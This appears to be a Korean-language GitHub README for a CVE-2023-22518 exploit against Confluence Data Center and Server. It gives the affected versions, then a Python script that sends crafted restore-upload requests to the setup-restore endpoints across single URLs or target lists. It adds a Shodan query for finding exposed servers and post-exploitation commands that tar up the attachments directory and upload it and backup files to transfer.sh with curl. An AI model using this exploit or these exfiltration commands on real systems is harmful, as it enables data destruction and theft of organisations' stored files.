forcefledgling/cve-2023-22518Confluence Data Center 및 Server의 부적절한 권한 부여 취약점
Confluence Data Center 및 Server의 부적절한 권한 부여 취약점
Atlassian은 Confluence의 심각한 취약점에 대해 관리자에게 경고했습니다. 이 문제를 악용하면 데이터 손실로 이어질 수 있으므로 개발자들은 가능한 한 빨리 패치를 설치할 것을 촉구합니다.
이 취약점은 데이터 유출에는 사용될 수 없으며, atlassian.net 도메인을 통해 접근하는 Atlassian Cloud 사이트에는 영향을 미치지 않는다는 점에 유의하십시오.
https://jira.atlassian.com/browse/CONFSERVER-93142
| Product | Affected Versions | Fixed Versions |
|---|---|---|
| Confluence Data Center | 모든 버전이 영향을 받습니다 | 7.19.16 or later |
| Confluence Server | 8.3.4 or later | |
| 8.4.4 or later | ||
| 8.5.3 or later | ||
| 8.6.1 or later |
분류: 부적절한 권한 부여
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action 커뮤니티 포럼
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.zip
Shodan 검색:
http.favicon.hash:-305179312
이 취약점을 사용하여 Confluence를 초기화하면 %CONFLUENCE_HOME%/attachments 디렉터리에는 잠재적으로 수천 개에 달하는 파일이 그대로 남게 됩니다. 이 파일들을 모두 추출하는 것은 매우 간단하며, 확장자는 Linux file 명령을 사용하여 확인할 수 있습니다. 예를 들어:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
or
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
디렉터리를 쉽게 아카이브하고 추출하는 방법의 예:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip